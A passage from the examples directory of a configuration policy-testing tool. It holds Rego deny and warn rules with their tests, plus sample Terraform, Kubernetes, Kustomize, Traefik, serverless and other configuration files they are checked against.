disk.encryption_settings.enabled 28 | msg = sprintf("Azure disk `%v` is not encrypted", [name]) 29 | } 30 | 31 | # Required tags for all AWS resources 32 | required_tags := {"environment", "owner"} 33 | missing_tags(resource) := {tag | tag := required_tags[_]; not resource.tags[tag]} 34 | 35 | deny contains msg if { 36 | some aws_resource, name 37 | some resource in input.resource[aws_resource][name] # all resources 38 | startswith(aws_resource, "aws_") # only AWS resources 39 | missing := missing_tags(resource) 40 | count(missing) > 0 41 | 42 | msg = sprintf("AWS resource: %q named %q is missing required tags: %v", [aws_resource, name, missing]) 43 | } 44 | -------------------------------------------------------------------------------- /examples/hcl2/policy/deny_test.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | empty(value) if { 5 | count(value) == 0 6 | } 7 | 8 | no_violations if { 9 | empty(deny) 10 | } 11 | 12 | test_blank_input if { 13 | no_violations with input as {} 14 | } 15 | 16 | test_correctly_encrypted_azure_disk if { 17 | no_violations with input as { 18 | "resource": {"azurerm_managed_disk": {"sample": {"encryption_settings": {"enabled": true}}}} 19 | } 20 | } 21 | 22 | test_unencrypted_azure_disk if { 23 | cfg := parse_config_file("unencrypted_azure_disk.tf") 24 | deny["Azure disk `sample` is not encrypted"] with input as cfg 25 | } 26 | 27 | test_fails_with_http_alb if { 28 | cfg := parse_config("hcl2", ` 29 | resource "aws_alb_listener" "name" { 30 | protocol = "HTTP" 31 | } 32 | `) 33 | deny["ALB `name` is using HTTP rather than HTTPS"] with input as cfg 34 | } 35 | 36 | test_fails_with_aws_resource_is_missing_required_tags if { 37 | cfg := parse_config("hcl2", ` 38 | resource "aws_s3_bucket" "invalid" { 39 | bucket = "InvalidBucket" 40 | acl = "private" 41 | 42 | tags = { 43 | environment = "prod" 44 | } 45 | } 46 | `) 47 | deny["AWS resource: \"aws_s3_bucket\" named \"invalid\" is missing required tags: {\"owner\"}"] with input as cfg 48 | } 49 | -------------------------------------------------------------------------------- /examples/hcl2/policy/unencrypted_azure_disk.tf: -------------------------------------------------------------------------------- 1 | resource "azurerm_managed_disk" "sample" { 2 | encryption_settings { 3 | enabled = false 4 | } 5 | } 6 | -------------------------------------------------------------------------------- /examples/hcl2/terraform.tf: -------------------------------------------------------------------------------- 1 | resource "aws_security_group_rule" "my-rule" { 2 | type = "ingress" 3 | cidr_blocks = ["0.0.0.0/0"] 4 | } 5 | 6 | resource "aws_alb_listener" "my-alb-listener" { 7 | port = "80" 8 | protocol = "HTTP" 9 | } 10 | 11 | resource "aws_db_security_group" "my-group" { 12 | 13 | } 14 | 15 | resource "azurerm_managed_disk" "source" { 16 | encryption_settings { 17 | enabled = false 18 | } 19 | } 20 | 21 | resource "aws_s3_bucket" "valid" { 22 | bucket = "validBucket" 23 | acl = "private" 24 | 25 | tags = { 26 | environment = "prod" 27 | owner = "devops" 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /examples/hocon/policy/deny.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | deny contains msg if { 5 | not input.play.server.http.port = 9000 6 | msg = "Play http server port should be 9000" 7 | } 8 | 9 | deny contains msg if { 10 | not input.play.server.http.address = "0.0.0.0" 11 | msg = "Play http server bind address should be 0.0.0.0" 12 | } 13 | -------------------------------------------------------------------------------- /examples/ignore/dockerignore/.dockerignore: -------------------------------------------------------------------------------- 1 | .idea 2 | -------------------------------------------------------------------------------- /examples/ignore/dockerignore/policy/deny.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | any_git_ignored if { 5 | entry := input[_] 6 | 7 | entry.Kind == "Path" 8 | entry.Value == ".git" 9 | } 10 | 11 | deny contains msg if { 12 | not any_git_ignored 13 | msg := ".git directories should be ignored" 14 | } 15 | -------------------------------------------------------------------------------- /examples/ignore/gitignore/.gitignore: -------------------------------------------------------------------------------- 1 | foo 2 | !bar 3 | 4 | # Baz 5 | qux\ -------------------------------------------------------------------------------- /examples/ignore/gitignore/policy/deny.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | any_id_rsa_ignored if { 5 | entry := input[_] 6 | 7 | entry.Kind == "Path" 8 | entry.Value == "id_rsa" 9 | } 10 | 11 | deny contains msg if { 12 | not any_id_rsa_ignored 13 | msg = "id_rsa files should be ignored" 14 | } 15 | -------------------------------------------------------------------------------- /examples/ini/policy/deny.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | deny contains msg if { 5 | not input.alerting.enabled = true 6 | msg = "Alerting should turned on" 7 | } 8 | 9 | deny contains msg if { 10 | not input["auth.basic"].enabled = true 11 | msg = "Basic auth should be enabled" 12 | } 13 | 14 | deny contains msg if { 15 | not input.server.http_port = 3000 16 | msg = "Grafana port should be 3000" 17 | } 18 | 19 | deny contains msg if { 20 | not input.server.protocol = "http" 21 | msg = "Grafana should use default http" 22 | } 23 | 24 | deny contains msg if { 25 | not input.users.allow_sign_up = false 26 | msg = "Users cannot sign up themselves" 27 | } 28 | 29 | deny contains msg if { 30 | not input.users.verify_email_enabled = true 31 | msg = "Users should verify their e-mail address" 32 | } 33 | -------------------------------------------------------------------------------- /examples/jsonnet/arith.jsonnet: -------------------------------------------------------------------------------- 1 | // Example from Jsonnet tutorials(https://jsonnet.org/learning/tutorial.html) 2 | { 3 | concat_array: [1, 2, 3] + [4], 4 | concat_string: '123' + 4, 5 | equality1: 1 == '1', 6 | equality2: [{}, { x: 3 - 1 }] 7 | == [{}, { x: 2 }], 8 | ex1: 1 + 2 * 3 / (4 + 5), 9 | // Bitwise operations first cast to int. 10 | ex2: self.ex1 | 3, 11 | // Modulo operator. 12 | ex3: self.ex1 % 2, 13 | // Boolean logic 14 | ex4: (4 > 3) && (1 <= 3) || false, 15 | // Mixing objects together 16 | obj: { a: 1, b: 2 } + { b: 3, c: 4 }, 17 | // Test if a field is in an object 18 | obj_member: 'foo' in { foo: 1 }, 19 | // String formatting 20 | str1: 'The value of self.ex2 is ' 21 | + self.ex2 + '.', 22 | str2: 'The value of self.ex2 is %g.' 23 | % self.ex2, 24 | str3: 'ex1=%0.2f, ex2=%0.2f' 25 | % [self.ex1, self.ex2], 26 | // By passing self, we allow ex1 and ex2 to 27 | // be extracted internally. 28 | str4: 'ex1=%(ex1)0.2f, ex2=%(ex2)0.2f' 29 | % self, 30 | // Do textual templating of entire files: 31 | str5: ||| 32 | ex1=%(ex1)0.2f 33 | ex2=%(ex2)0.2f 34 | ||| % self, 35 | } 36 | -------------------------------------------------------------------------------- /examples/jsonnet/policy/deny.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | deny contains msg if { 5 | not input.concat_array < 3 6 | msg = "Concat array should be less than 3" 7 | } 8 | 9 | deny contains msg if { 10 | not input.obj_member = true 11 | msg = "Object member should be true" 12 | } 13 | -------------------------------------------------------------------------------- /examples/kubernetes/combine/combine.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | violation := [msg] if { 5 | some i 6 | input[i].contents.kind == "Deployment" 7 | deployment := input[i].contents 8 | not service_selects_app(deployment.spec.selector.matchLabels.app) 9 | msg := sprintf("Deployment '%v' has no matching service", [deployment.metadata.name]) 10 | } 11 | 12 | service_selects_app(app) if { 13 | some i 14 | input[i].contents.kind == "Service" 15 | service := input[i].contents 16 | service.spec.selector.app == app 17 | } 18 | -------------------------------------------------------------------------------- /examples/kubernetes/combine/combine.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: apps/v1 2 | kind: Deployment 3 | metadata: 4 | name: hello-kubernetes 5 | spec: 6 | replicas: 3 7 | selector: 8 | matchLabels: 9 | app: hello-kubernetes 10 | template: 11 | metadata: 12 | labels: 13 | app: hello-kubernetes 14 | spec: 15 | containers: 16 | - name: hello-kubernetes 17 | image: paulbouwer/hello-kubernetes:1.5 18 | ports: 19 | - containerPort: 8080 20 | --- 21 | apiVersion: apps/v1 22 | kind: Deployment 23 | metadata: 24 | name: goodbye-kubernetes 25 | spec: 26 | replicas: 3 27 | selector: 28 | matchLabels: 29 | app: goodbye-kubernetes 30 | template: 31 | metadata: 32 | labels: 33 | app: goodbye-kubernetes 34 | spec: 35 | containers: 36 | - name: goodbye-kubernetes 37 | image: paulbouwer/hello-kubernetes:1.5 38 | ports: 39 | - containerPort: 8080 40 | --- 41 | apiVersion: v1 42 | kind: Service 43 | metadata: 44 | name: hello-kubernetes 45 | spec: 46 | type: LoadBalancer 47 | ports: 48 | - port: 80 49 | targetPort: 8080 50 | selector: 51 | app: hello-kubernetes 52 | -------------------------------------------------------------------------------- /examples/kubernetes/combine/combine_test.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | test_parse_combined_config_file if { 5 | count(violation) == 1 with input as parse_combined_config_files(["combine.yaml"]) 6 | } 7 | 8 | test_parse_combined_config_files if { 9 | count(violation) == 1 with input as parse_combined_config_files(["deployment.yaml", "service.yaml"]) 10 | } 11 | -------------------------------------------------------------------------------- /examples/kubernetes/combine/deployment.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: apps/v1 2 | kind: Deployment 3 | metadata: 4 | name: goodbye-kubernetes 5 | spec: 6 | replicas: 3 7 | selector: 8 | matchLabels: 9 | app: goodbye-kubernetes 10 | template: 11 | metadata: 12 | labels: 13 | app: goodbye-kubernetes 14 | spec: 15 | containers: 16 | - name: goodbye-kubernetes 17 | image: paulbouwer/hello-kubernetes:1.5 18 | ports: 19 | - containerPort: 8080 -------------------------------------------------------------------------------- /examples/kubernetes/combine/service.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Service 3 | metadata: 4 | name: hello-kubernetes 5 | spec: 6 | type: LoadBalancer 7 | ports: 8 | - port: 80 9 | targetPort: 8080 10 | selector: 11 | app: hello-kubernetes 12 | -------------------------------------------------------------------------------- /examples/kubernetes/deployment+service.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: apps/v1 2 | kind: Deployment 3 | metadata: 4 | name: hello-kubernetes 5 | spec: 6 | replicas: 3 7 | selector: 8 | matchLabels: 9 | app: hello-kubernetes 10 | template: 11 | metadata: 12 | labels: 13 | app: hello-kubernetes 14 | spec: 15 | containers: 16 | - name: hello-kubernetes 17 | image: paulbouwer/hello-kubernetes:1.5 18 | ports: 19 | - containerPort: 8080 20 | --- 21 | apiVersion: v1 22 | kind: Service 23 | metadata: 24 | name: hello-kubernetes 25 | spec: 26 | type: LoadBalancer 27 | ports: 28 | - port: 80 29 | targetPort: 8080 30 | selector: 31 | app: hello-kubernetes 32 | -------------------------------------------------------------------------------- /examples/kubernetes/deployment.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: apps/v1 2 | kind: Deployment 3 | metadata: 4 | name: hello-kubernetes 5 | labels: 6 | app.kubernetes.io/name: mysql 7 | app.kubernetes.io/version: "5.7.21" 8 | app.kubernetes.io/component: database 9 | app.kubernetes.io/part-of: wordpress 10 | app.kubernetes.io/managed-by: helm 11 | spec: 12 | replicas: 3 13 | selector: 14 | matchLabels: 15 | app: hello-kubernetes 16 | template: 17 | metadata: 18 | labels: 19 | app: hello-kubernetes 20 | spec: 21 | containers: 22 | - name: hello-kubernetes 23 | image: paulbouwer/hello-kubernetes:1.5 24 | ports: 25 | - containerPort: 8080 26 | -------------------------------------------------------------------------------- /examples/kubernetes/policy/base_test.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | empty(value) if { 5 | count(value) == 0 6 | } 7 | 8 | no_violations if { 9 | empty(deny) 10 | } 11 | 12 | no_warnings if { 13 | empty(warn) 14 | } 15 | 16 | test_deployment_without_security_context if { 17 | deny["Containers must not run as root in Deployment sample"] with input as { 18 | "kind": "Deployment", 19 | "metadata": {"name": "sample"} 20 | } 21 | } 22 | 23 | test_deployment_with_security_context if { 24 | deployment := { 25 | "kind": "Deployment", 26 | "metadata": { 27 | "name": "sample", 28 | "labels": { 29 | "app.kubernetes.io/name": "name", 30 | "app.kubernetes.io/instance": "instance", 31 | "app.kubernetes.io/version": "version", 32 | "app.kubernetes.io/component": "component", 33 | "app.kubernetes.io/part-of": "part-of", 34 | "app.kubernetes.io/managed-by": "managed-by", 35 | }, 36 | }, 37 | "spec": { 38 | "selector": {"matchLabels": { 39 | "app": "app", 40 | "release": "release", 41 | }}, 42 | "template": {"spec": {"securityContext": {"runAsNonRoot": true}}}, 43 | }, 44 | } 45 | 46 | no_violations with input as deployment 47 | } 48 | 49 | test_services_not_denied if { 50 | no_violations with input as {"kind": "Service", "metadata": {"name": "sample"}} 51 | } 52 | 53 | test_services_issue_warning if { 54 | warn["Found service sample but services are not allowed"] with input as { 55 | "kind": "Service", 56 | "metadata": { 57 | "name": "sample" 58 | } 59 | } 60 | } 61 | -------------------------------------------------------------------------------- /examples/kubernetes/policy/deny.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | import data.kubernetes 5 | 6 | name := input.metadata.name 7 | 8 | deny contains msg if { 9 | kubernetes.is_deployment 10 | not input.spec.template.spec.securityContext.runAsNonRoot 11 | 12 | msg = sprintf("Containers must not run as root in Deployment %s", [name]) 13 | } 14 | 15 | required_deployment_selectors if { 16 | input.spec.selector.matchLabels.app 17 | input.spec.selector.matchLabels.release 18 | } 19 | 20 | deny contains msg if { 21 | kubernetes.is_deployment 22 | not required_deployment_selectors 23 | 24 | msg = sprintf("Deployment %s must provide app/release labels for pod selectors", [name]) 25 | } 26 | -------------------------------------------------------------------------------- /examples/kubernetes/policy/kubernetes.rego: -------------------------------------------------------------------------------- 1 | package kubernetes 2 | import rego.v1 3 | 4 | is_service if { 5 | input.kind = "Service" 6 | } 7 | 8 | is_deployment if { 9 | input.kind = "Deployment" 10 | } 11 | -------------------------------------------------------------------------------- /examples/kubernetes/policy/labels.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | import data.kubernetes 5 | 6 | name := input.metadata.name 7 | 8 | required_deployment_labels if { 9 | input.metadata.labels["app.kubernetes.io/name"] 10 | input.metadata.labels["app.kubernetes.io/instance"] 11 | input.metadata.labels["app.kubernetes.io/version"] 12 | input.metadata.labels["app.kubernetes.io/component"] 13 | input.metadata.labels["app.kubernetes.io/part-of"] 14 | input.metadata.labels["app.kubernetes.io/managed-by"] 15 | } 16 | 17 | deny contains msg if { 18 | kubernetes.is_deployment 19 | not required_deployment_labels 20 | msg = sprintf("%s must include Kubernetes recommended labels: https://kubernetes.io/docs/concepts/overview/working-with-objects/common-labels/#labels", [name]) 21 | } 22 | -------------------------------------------------------------------------------- /examples/kubernetes/policy/violation.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | import data.kubernetes 5 | 6 | name := input.metadata.name 7 | 8 | violation := [{"msg": msg, "details": {}}] if { 9 | kubernetes.is_deployment 10 | msg := sprintf("Found deployment %s but deployments are not allowed", [name]) 11 | } 12 | -------------------------------------------------------------------------------- /examples/kubernetes/policy/warn.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | import data.kubernetes 5 | 6 | name := input.metadata.name 7 | 8 | warn contains msg if { 9 | kubernetes.is_service 10 | msg = sprintf("Found service %s but services are not allowed", [name]) 11 | } 12 | -------------------------------------------------------------------------------- /examples/kubernetes/service.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Service 3 | metadata: 4 | name: hello-kubernetes 5 | spec: 6 | type: LoadBalancer 7 | ports: 8 | - port: 80 9 | targetPort: 8080 10 | selector: 11 | app: hello-kubernetes 12 | -------------------------------------------------------------------------------- /examples/kustomize/Makefile: -------------------------------------------------------------------------------- 1 | all: test 2 | 3 | test: 4 | kustomize build | conftest test - 5 | 6 | show: 7 | kustomize build 8 | 9 | .PHONY: all, test, show 10 | -------------------------------------------------------------------------------- /examples/kustomize/configMap.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: ConfigMap 3 | metadata: 4 | name: the-map 5 | data: 6 | altGreeting: "Good Morning!" 7 | enableRisky: "false" 8 | -------------------------------------------------------------------------------- /examples/kustomize/deployment.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: apps/v1 2 | kind: Deployment 3 | metadata: 4 | name: the-deployment 5 | spec: 6 | replicas: 3 7 | template: 8 | metadata: 9 | labels: 10 | deployment: hello 11 | spec: 12 | containers: 13 | - name: the-container 14 | image: monopole/hello:1 15 | command: ["/hello", 16 | "--port=8080", 17 | "--enableRiskyFeature=$(ENABLE_RISKY)"] 18 | ports: 19 | - containerPort: 8080 20 | env: 21 | - name: ALT_GREETING 22 | valueFrom: 23 | configMapKeyRef: 24 | name: the-map 25 | key: altGreeting 26 | - name: ENABLE_RISKY 27 | valueFrom: 28 | configMapKeyRef: 29 | name: the-map 30 | key: enableRisky 31 | -------------------------------------------------------------------------------- /examples/kustomize/kustomization.yaml: -------------------------------------------------------------------------------- 1 | # Example configuration for the webserver 2 | # at https://github.com/monopole/hello 3 | commonLabels: 4 | app: hello 5 | 6 | resources: 7 | - deployment.yaml 8 | - service.yaml 9 | - configMap.yaml 10 | -------------------------------------------------------------------------------- /examples/kustomize/policy/base.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | deny contains msg if { 5 | input.kind = "Deployment" 6 | not input.spec.template.spec.securityContext.runAsNonRoot = true 7 | msg = "Containers must not run as root" 8 | } 9 | 10 | deny contains msg if { 11 | input.kind = "Deployment" 12 | not input.spec.selector.matchLabels.app 13 | msg = "Containers must provide app label for pod selectors" 14 | } 15 | 16 | warn contains msg if { 17 | input.kind = "Service" 18 | msg = "Services are not allowed" 19 | } 20 | -------------------------------------------------------------------------------- /examples/kustomize/service.yaml: -------------------------------------------------------------------------------- 1 | kind: Service 2 | apiVersion: v1 3 | metadata: 4 | name: the-service 5 | spec: 6 | selector: 7 | deployment: hello 8 | type: LoadBalancer 9 | ports: 10 | - protocol: TCP 11 | port: 8666 12 | targetPort: 8080 13 | -------------------------------------------------------------------------------- /examples/properties/policy/test.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | deny_valid_uri contains msg if { 5 | some name 6 | value := input[name] 7 | contains(lower(name), "url") 8 | not contains(lower(value), "http") 9 | msg := sprintf("Must have a valid uri defined '%s'", [value]) 10 | } 11 | 12 | secret_exceptions := { 13 | "secret.value.exception" 14 | } 15 | 16 | deny_no_secrets contains msg if { 17 | some name 18 | value := input[name] 19 | not secret_exceptions[name] 20 | contains(lower(name), "secret") 21 | msg := sprintf("'%s' may contain a secret value", [name]) 22 | } 23 | -------------------------------------------------------------------------------- /examples/properties/sample.properties: -------------------------------------------------------------------------------- 1 | SAMPLE_VALUE=something-here 2 | other.value.url=https://example.com/ 3 | secret.value.exception=f9761ebe-d4dc-11eb-8046-1e00e20cdb95 4 | -------------------------------------------------------------------------------- /examples/report/fail/failing_test.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | no_violations if { 5 | count(deny) == 0 6 | } 7 | 8 | test_missing_required_label_fail if { 9 | deployment := { 10 | "kind": "Deployment", 11 | "metadata": { 12 | "name": "sample", 13 | "labels": { 14 | "app.kubernetes.io/instance" 15 | } 16 | } 17 | } 18 | 19 | no_violations with input as deployment 20 | } 21 | -------------------------------------------------------------------------------- /examples/report/policy/labels.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | name := input.metadata.name 5 | 6 | required_deployment_labels if { 7 | input.metadata.labels["app.kubernetes.io/name"] 8 | input.metadata.labels["app.kubernetes.io/instance"] 9 | } 10 | 11 | deny contains msg if { 12 | input.kind = "Deployment" 13 | not required_deployment_labels 14 | # regal ignore:print-or-trace-call 15 | trace("just testing notes flag") 16 | msg := sprintf("%s must include Kubernetes recommended labels: https://kubernetes.io/docs/concepts/overview/working-with-objects/common-labels/#labels", [name]) 17 | } 18 | -------------------------------------------------------------------------------- /examples/report/policy_print/labels.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | name := input.metadata.name 5 | 6 | required_deployment_labels if { 7 | input.metadata.labels["app.kubernetes.io/name"] 8 | input.metadata.labels["app.kubernetes.io/instance"] 9 | } 10 | 11 | deny contains msg if { 12 | input.kind == "Deployment" 13 | # regal ignore:print-or-trace-call 14 | print(name) 15 | not required_deployment_labels 16 | msg := sprintf("%s must include Kubernetes recommended labels: https://kubernetes.io/docs/concepts/overview/working-with-objects/common-labels/#labels", [name]) 17 | } 18 | -------------------------------------------------------------------------------- /examples/report/success/success_test.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | no_violations if { 5 | count(deny) == 0 6 | } 7 | 8 | test_no_missing_label if { 9 | deployment := { 10 | "kind": "Deployment", 11 | "metadata": { 12 | "name": "sample", 13 | "labels": { 14 | "app.kubernetes.io/name", 15 | "app.kubernetes.io/instance" 16 | } 17 | } 18 | } 19 | 20 | no_violations with input as deployment 21 | } 22 | -------------------------------------------------------------------------------- /examples/serverless/policy/base.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | deny contains msg if { 5 | input.provider.runtime = "python2.7" 6 | msg = "Python 2.7 cannot be the default provider runtime" 7 | } 8 | 9 | runtime contains msg if { 10 | input.functions[_].runtime = name 11 | } 12 | 13 | deny contains msg if { 14 | runtime["python2.7"] 15 | msg = "Python 2.7 cannot be used as the runtime for functions" 16 | } 17 | 18 | deny contains msg if { 19 | not has_field(input.provider.tags, "author") 20 | msg = "Should set provider tags for author" 21 | } 22 | -------------------------------------------------------------------------------- /examples/serverless/serverless.yaml: -------------------------------------------------------------------------------- 1 | service: aws-python-scheduled-cron 2 | 3 | frameworkVersion: ">=1.2.0 <2.0.0" 4 | 5 | provider: 6 | name: aws 7 | runtime: python2.7 8 | tags: 9 | author: "this field is required" 10 | 11 | functions: 12 | cron: 13 | handler: handler.run 14 | runtime: python2.7 15 | events: 16 | - schedule: cron(0/2 * ? * MON-FRI *) 17 | -------------------------------------------------------------------------------- /examples/spdx/policy/policy.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | deny contains msg if { 5 | expected_data_license := "conftest-demo" 6 | input.CreationInfo.DataLicense != expected_data_license 7 | msg := sprintf("DataLicense should be %d, but found %d", [expected_data_license, input.CreationInfo.DataLicense]) 8 | } 9 | -------------------------------------------------------------------------------- /examples/spdx/sbom.spdx: -------------------------------------------------------------------------------- 1 | SPDXVersion: SPDX-2.2 2 | DataLicense: conftest-demo 3 | SPDXID: SPDXRef-DOCUMENT 4 | DocumentName: hello 5 | DocumentNamespace: https://swinslow.net/spdx-examples/example1/hello-v3 6 | Creator: Person: Steve Winslow (steve@swinslow.net) 7 | Creator: Tool: github.com/spdx/tools-golang/builder 8 | Creator: Tool: github.com/spdx/tools-golang/idsearcher 9 | Created: 2021-08-26T01:46:00Z 10 | -------------------------------------------------------------------------------- /examples/strict-rules/policy/lenient.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | allow if { 5 | input.b == "foo" 6 | a := 1 7 | b := 2 8 | x := { 9 | "a": a, 10 | "b": "bar", 11 | } 12 | c := 3 13 | } 14 | 15 | validate(x, y) if { 16 | input.test == x 17 | } else := false if { 18 | input.test == "foo" 19 | allow 20 | } 21 | 22 | test(x, y, z) if { 23 | input.test == x 24 | } else if { 25 | input.test == y 26 | } else if { 27 | input.test == z 28 | } 29 | 30 | deny contains msg if { 31 | test("foo", "bar", "baz") 32 | validate("foo", "bar") 33 | msg = "deployment objects should have validated" 34 | } 35 | -------------------------------------------------------------------------------- /examples/textproto/fail.textproto: -------------------------------------------------------------------------------- 1 | # proto-message: conftest.testing.TestMessage 2 | 3 | name: "fail" 4 | number: 9000 5 | -------------------------------------------------------------------------------- /examples/textproto/pass.textproto: -------------------------------------------------------------------------------- 1 | # proto-message: conftest.testing.TestMessage 2 | 3 | name: "pass" 4 | number: 9001 5 | -------------------------------------------------------------------------------- /examples/textproto/policy/over_9000.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | deny contains {"msg": msg} if { 5 | input.number <= 9000 6 | msg := sprintf("%s: Power level must be over 9000", [input.name]) 7 | } 8 | -------------------------------------------------------------------------------- /examples/textproto/protos/test.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package conftest.testing; 4 | 5 | message TestMessage { 6 | string name = 1; 7 | int32 number = 2; 8 | bool truthy = 3; 9 | } 10 | -------------------------------------------------------------------------------- /examples/traefik/policy/base.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | disallowed_ciphers := ["TLS_RSA_WITH_AES_256_GCM_SHA384"] 5 | 6 | deny contains msg if { 7 | check_trusted_ips(input.entryPoints.http.tls.cipherSuites, disallowed_ciphers) 8 | msg := sprintf("Following ciphers are not allowed: %v", [disallowed_ciphers]) 9 | } 10 | 11 | check_trusted_ips(ciphers, denylist) if { 12 | ciphers[_] = denylist[_] 13 | } 14 | -------------------------------------------------------------------------------- /examples/traefik/policy/base_test.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | test_ip_with_disallowed_ciphers if { 5 | deny["IPs should not use disallowed ciphers"] with input as { 6 | "entryPoints": {"http": {"tls": {"cipherSuites": ["TLS_RSA_WITH_AES_256_GCM_SHA384"]}}} 7 | } 8 | } 9 | -------------------------------------------------------------------------------- /examples/traefik/traefik.toml: -------------------------------------------------------------------------------- 1 | defaultEntryPoints = ["http", "https"] 2 | 3 | [entryPoints] 4 | [entryPoints.http] 5 | address = ":80" 6 | compress = true 7 | 8 | [entryPoints.http.whitelist] 9 | sourceRange = ["10.42.0.0/16", "152.89.1.33/32", "afed:be44::/16"] 10 | useXForwardedFor = true 11 | 12 | [entryPoints.http.tls] 13 | minVersion = "VersionTLS12" 14 | cipherSuites = [ 15 | "TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256", 16 | "TLS_RSA_WITH_AES_256_GCM_SHA384" 17 | ] 18 | [[entryPoints.http.tls.certificates]] 19 | certFile = "path/to/my.cert" 20 | keyFile = "path/to/my.key" 21 | [[entryPoints.http.tls.certificates]] 22 | certFile = "path/to/other.cert" 23 | keyFile = "path/to/other.key" 24 | # ... 25 | [entryPoints.http.tls.clientCA] 26 | files = ["path/to/ca1.crt", "path/to/ca2.crt"] 27 | optional = false 28 | 29 | [entryPoints.http.redirect] 30 | entryPoint = "https" 31 | regex = "^http://localhost/(.*)" 32 | replacement = "http://mydomain/$1" 33 | permanent = true 34 | 35 | [entryPoints.http.auth] 36 | headerField = "X-WebAuth-User" 37 | [entryPoints.http.auth.basic] 38 | removeHeader = true 39 | users = [ 40 | "test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/", 41 | "test2:$apr1$d9hr9HBB$4HxwgUir3HP4EsggP/QNo0", 42 | ] 43 | usersFile = "/path/to/.htpasswd" 44 | [entryPoints.http.auth.digest] 45 | removeHeader = true 46 | users = [ 47 | "test:traefik:a2688e031edb4be6a3797f3882655c05", 48 | "test2:traefik:518845800f9e2bfb1f1f740ec24f074e", 49 | ] 50 | usersFile = "/path/to/.htdigest" 51 | [entryPoints.http.auth.forward] 52 | address = "https://authserver.com/auth" 53 | trustForwardHeader = true 54 | authResponseHeaders = ["X-Auth-User"] 55 | [entryPoints.http.auth.forward.tls] 56 | ca = "path/to/local.crt" 57 | caOptional = true 58 | cert = "path/to/foo.cert" 59 | key = "path/to/foo.key" 60 | insecureSkipVerify = true 61 | 62 | [entryPoints.http.proxyProtocol] 63 | insecure = true 64 | trustedIPs = ["10.10.10.1", "10.10.10.2"] 65 | 66 | [entryPoints.http.forwardedHeaders] 67 | trustedIPs = ["10.10.10.1", "10.10.10.2"] -------------------------------------------------------------------------------- /examples/ts/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | -------------------------------------------------------------------------------- /examples/ts/Makefile: -------------------------------------------------------------------------------- 1 | FILE := pod.ts 2 | 3 | all: test 4 | 5 | node_modules: 6 | npm install --dev 7 | 8 | test: node_modules 9 | npx ts-node $(FILE) | conftest test - 10 | 11 | show: 12 | @npx ts-node $(FILE) 13 | 14 | .PHONY: all, test, show 15 | -------------------------------------------------------------------------------- /examples/ts/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "conftest-example", 3 | "version": "1.0.0", 4 | "description": "An example of testing Typescript code with Open Policy Agent", 5 | "main": "pod.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1" 8 | }, 9 | "author": "", 10 | "license": "ISC", 11 | "dependencies": { 12 | "js-yaml": "^3.13.1", 13 | "kubernetes-types": "^1.13.0-beta.1" 14 | }, 15 | "devDependencies": { 16 | "ts-node": "^8.1.0", 17 | "typescript": "^3.4.5" 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /examples/ts/pod.ts: -------------------------------------------------------------------------------- 1 | import {Pod} from 'kubernetes-types/core/v1' 2 | import {ObjectMeta} from 'kubernetes-types/meta/v1' 3 | import * as yaml from 'js-yaml' 4 | 5 | let metadata: ObjectMeta = {name: 'example', labels: {}} 6 | 7 | // let metadata: ObjectMeta = {name: 'example', labels: {app: 'example'}} 8 | 9 | let pod: Pod = { 10 | apiVersion: 'v1', 11 | kind: 'Pod', // 'v1' and 'Pod' are the only accepted values for a Pod 12 | 13 | metadata, 14 | 15 | spec: { 16 | containers: [ 17 | /* ... */ 18 | ], 19 | }, 20 | } 21 | 22 | 23 | console.log(yaml.safeDump(pod)) 24 | -------------------------------------------------------------------------------- /examples/ts/policy/deny.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | deny contains msg if { 5 | input.kind == "Pod" 6 | 